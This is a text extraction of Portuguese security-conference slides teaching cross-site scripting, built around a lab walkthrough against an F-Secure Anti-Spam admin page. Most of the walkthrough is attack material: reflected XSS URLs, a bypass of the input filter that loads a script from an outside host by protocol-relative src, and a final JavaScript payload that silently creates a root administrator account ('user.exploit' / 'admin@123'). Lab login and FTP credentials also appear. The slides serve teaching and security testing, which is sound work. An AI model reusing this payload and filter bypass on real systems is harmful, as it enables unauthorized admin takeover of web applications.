Upload
william-costa
View
110
Download
1
Embed Size (px)
DESCRIPTION
Slides Apresentados no Bisides Ed. 9
Citation preview
XSS Injec)on indo além do Alert();
By
William Costa
William Costa
Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
TOP 10 OWASP
• OWASP Top 10 – 2013 • A1 – InjecJon • A2 – Broken AuthenJcaJon and Session Management • A3 – Cross-‐Site Scrip0ng (XSS) • A4 – Insecure Direct Object References • A5 – Security MisconfiguraJon • A6 – SensiJve Data Exposure • A7 – Missing FuncJon Level Access Control • A8 – Cross-‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
Cross-‐Site Scrip)ng (XSS)
• Cross-‐Site ScripJng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legiJmo, sem ser validado corretamente pela aplicação, dessa forma o script será executado pelo browser da viJma.
Composição do XSS. Os XSS’s normalmente são divididos em 3 categorias
Reflected XSS
Stored XSS
DOM Based XSS
Reflected XSS
Quando o usuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: hSp://www.vulneravel.com.br/no)cias/?)po=R"><script>alert("Reflected XSS")</script>
Stored XSS Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário qualquer pessoa que acesse o
Forum recebem a tela
DOM XSS O DOM XSS é quando é inserido o payload dentro de uma variável u)lizada por um script Ex: Campos de interação em tempo real.
<img src=search onerror=alert('DOM_XSS')>
Chega de teoria e vamos a Diversão.
Vamos Começar em nossa Oficina
Vamos fazer nosso LAB em um F-‐Secure que já foi corrigida a vulnerabilidade. J Topologia no LAB
Encontrando a Falha
Alvo : F-‐Secure • AnJSpam Logue na aplicação: hlps://10.0.3.133:10000 User: admin Pass: mudar@123
Encontrando a Falha
Após logar acesse Administrator > Administrators > Add
Encontrando a Falha Abra o Iframe em uma nova aba Clicando como botão direito
Encontrando a Falha Agora já temos em nosso browser a seguinte URL hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
Encontrando a Falha Vamos iniciar com o teste das variáveis Alteramos link de: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 Para: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa e acessamos o link
Encontrando a Falha Vamos verificar oque aconteceu clicando com o botão direito na pagina acessada e analisando o seu código fonte.
Damos um Find (CRTL+F)
Como podemos ver a variável “new” é uJlizada como valor em um campo de Input
Encontrando a Falha Dessa forma vamos verificar se é possível inserir tags HTML neste campo Nossa URL fica desta forma: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<s>
Analisando novamente vemos que não ocorreu o tratamento da nossa TAG J
Explorando a Falha Já temos a nossa falha vamos agora testar a injeção de javascript Nossa url ficará assim: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>alert(2);</script> Tivemos o acesso negado L
Explorando a Falha Vamos descobrir qual parte do script negou o acesso. Vamos acessar novamente a URL hlps://10.0.3.133:10000/admin se necessário logamos novamente hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script> E repeJmos o acesso Outro acesso negado L
Explorando a Falha Já desisJu ????? Mais uma tentaJva hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script E repeJmos o acesso Acesso concedido J
Explorando a Falha Já sabemos que ele filtra a tag <script> quando fechada Faça o teste com as seguintes palavras, ficando assim: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.js Acesso PermiJdo hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.src= Acesso PermiJdo hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaahlps Acesso Negado 403 Forbidden hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa</script> Acesso Negado 403 Forbidden Sabemos agora que é realizado o Filtro da palavra HTTP em conjunto com o <script> e </script> Tivemos o acesso negado L
Explorando a Falha Recapitulando: • A falha se encontra na pagina de criação de novos usuários administradores • Na URL hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
• Na variável “new” • Aplicação filtra os seguintes valores: <script> </script> hlps hlp
Com isso em mãos vamos iniciar a analise para realizar o Bypass desses filtros
Explorando a Falha Bypass do filtro <script> Analisando o código do html vemos que a nossa variável é inserida no final da tag input
<input type=hidden name=new value=aaaa> Portanto não precisamos uJlizar o sinal de “>” para fechar o script J Nossa url: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa><script
Fica assim o nosso código: <input type=hidden name=new value=aaaa><script>
Explorando a Falha Para o Bypass do filtro hlps, uJlizaremos o Protocol Rela0ve suprimimos o protocolo, deixaremos o browser uJlizar o da pagina principal J, ficando assim o nosso script final hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aa><script src=//10.0.3.165/xss/e.js
Para Bypass do filtro </script> não precisamos nos preocupar, pois ela é fornecida algumas linhas a frente J
Criando o Exploit Para o nosso primeiro teste vamos criar um simples arquivo de texto com o seguinte conteúdo: alert("F-‐Secure XSS"); Salve o arquivo com nome_que_desejar.js
Criando o Exploit Acesso o Servidor via FTP para enviar o arquivo ou pode uJlizar o cliente disponível em hlp://10.200.210.8/tools FTP Servidor : 10.200.210.8 Usuário: xss Senha: xss Salve o arquivo na raiz mesmo do FTP.
Criando o Exploit Com o nosso arquivo já no nosso servidor podemos ver como fica nossa URL hlps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script src=//10.200.210.8/xss/nome_do_seu_xss.js
Realizando o acesso temos o nosso alert();
Mas, o Jtulo não é além do alert ?
Criando o Exploit Vamos deixar as coisas mais interessantes A nossa vulnerabilidade se encontra na pagina de criação de novos usuários. Então o nosso exploit deve preencher os campos:
Administrator ID
Password
Re-‐type Password
Role
E ainda clicar em ADD
Muita coisa ?
Criando o Exploit Vamos começar recriando o campo de Input que foi quebrado quando inserimos o nosso Exploit
Antes do Exploit Após o Exploit
Criando o Exploit Isso ocorreu pois o nosso exploit e inserido antes do campo e com não podemos fechar a nossa tag </script> ela considera tudo um jascript até a próxima tag </script> no no código. Código enviado ao browser do usuário: <input type=hidden name=new value=1><script src=//10.200.210.8/xss/william.js> <input type=hidden name=old_password value=><tr><td class=ppsse}ngslabel width=200 id='id_text' valign=top>Administrator ID</td><td><input type="text" id='id' name="id" class=formInput value="" style="width:200" ppstype="admin_id"></td></tr><script language="Javascript" type="text/javascript"> document.main_form.id.focus();</script>
Criando o Exploit • Para isso vamos usar o Method document.write(exp1,exp2,exp3,...) Ficando assim em nosso arquivo js. document.write("<input id='id' name='id' value='user.exploit'>"); Que vai criar um Input no código enviado ao usuário.
Criando o Exploit • Agora temos que preencher os campos de Password, Role e clicar em ADD J Para isso vamos uJlizar o Method document.getElementsByName() para localizar o campo pelo nome, [0] é para selecionar a primeira ocorrência e o value é para setar um valor ao campo que seria nossa password: document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; As duas primeiras linhas são para a senha e a terceira é para setar o Role (perfil) como sendo root.
Criando o Exploit • Vamos testar o nosso exploit adicionando as linhas abaixo em nosso arquivo js e enviado ao servidor, ficando assim o arquivo
document.write("<input id='id' name='id' value='user.exploit'>"); document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root";
Criando o Exploit • Vamos realizar novamente o acesso:
L Como podemos ver apenas o campo com o nome do usuário foi preenchido Vamos habilitar o debug do Browser e ver o que aconteceu.
Criando o Exploit • AJvamos o Debug do firefox em Tools > Web Developer > Web Console : Habilitando o JS temos:
Vemos que na ulJma linha o nossos document.getElementsByName está com erro, sendo como não definido
Criando o Exploit • Vamos analisar o que ocorreu, o javascript por default é executado pelo browser assim que é chamado, o nosso script é inserido antes dos campos de password e role do código enviado ao usuário, como o JS é executado logo assim que referenciado, acaba por não ter os campos para o preenchimento.
• Como resolver? Colocando o nosso código em uma função e setando um Jmeout J
Criando o Exploit • Ficando assim o nosso código no arquivo js: document.write("<input id='id' name='id' value='user.exploit'>"); funcJon espera() { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; } setTimeout("espera(\"Jmeout\")", 1000);
Criando o Exploit • Enviamos o nosso novo arquivo ao servidor e acessamos novamente o link:
• Sucesso J
Para finalizar o nosso Exploit ainda falta enviar os dados.
Criando o Exploit • UJlizaremos o Method submit(), ficando assim o nosso script final: document.write("<input id='id' name='id' value='user.exploit'>"); funcJon espera() { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); } setTimeout("espera(\"Jmeout\")", 1000); Não esqueça de salvar no arquivo js e enviar ao nosso servidor
Criando o Exploit • Enviamos o nosso novo arquivo ao servidor e acessamos novamente o link:
Conclusão.
• Finalizamos a exploração com nosso exploit e o resultado foi a criação de um novo usuário de administração J.
<script>alert(String(/Perguntas?/).substr(1,10) ); </script>
william.costa arroba gmail.com